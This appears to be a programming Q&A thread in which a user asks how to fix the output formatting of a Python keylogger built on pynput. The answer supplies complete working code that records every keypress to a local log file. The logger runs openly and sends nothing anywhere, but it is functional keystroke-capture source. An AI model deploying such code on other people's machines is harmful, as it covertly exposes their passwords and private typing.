Search code examples
pythonpython-3.xpynputkeylogger

Can't get user input to store in file correctly with pynput


This code is doing most of what it should do. It logs the keys I press, but only if I delete the log.txt file first and it does not strip the ' around the keys as it logs them like I am expecting them to. Any help getting this to append to the file rather than needing to delete the file on start and striping the ' from around the keys would be very helpful.

example of how the log file looks:

'T' 'h' 'i' 's'

'i' 's'

'a'

't' 'e' 's' 't'

I would like for it to look like this:

This

is

a

test

Code below. Thank you for any help.

    import pynput
    from pynput.keyboard import Key, Listener
    count = 0
    keys = []
    def on_press(key):
global keys, count

keys.append(key)
count += 1
print("{0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("''","")
                if k.find("space") > 0:
                    f.write('\n')
                elif k.find("Key") == -1:
                    f.write(k)


    def on_release(key):
        if key == Key.esc:
            return False

    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

Solution

  • As mentioned in the pynput documentation, instead of converting the key into a string and manipulating it, you can use key.char to get the string without any single quotes around it. But be careful, as it will throw an AttributeError if the key is a special key like space, backspace, control keys etc. So you'll have to put it in a try/except block.

    Also the reason why k = str(key).replace("''","") didn't work was because you were trying to replace occurrences of two single-quotes together, which is not the case as in the keys where the single quotes are apart from each other eg. 'h'.

    The final working code is:

    from pynput.keyboard import Key, Listener
    count = 0
    keys = []
    
    def on_press(key):
        global keys, count
    
        keys.append(key)
        count += 1
        print("{0} pressed".format(key))
    
        if count >= 10:
            count = 0
            write_file(keys)
            keys = []
    
    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                try:
                    k = key.char
                    f.write(k)
                except AttributeError:
                    if key == Key.space:
                        f.write('\n')
    
    def on_release(key):
        if key == Key.esc:
            return False
    
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
    

    As for the issue of needing to delete the log file, I'm not sure why that's happening as it should work and it's working on my computer. Maybe you have more than one script running in the background accessing the same log file. You could also try running the script in a different location to see if that works.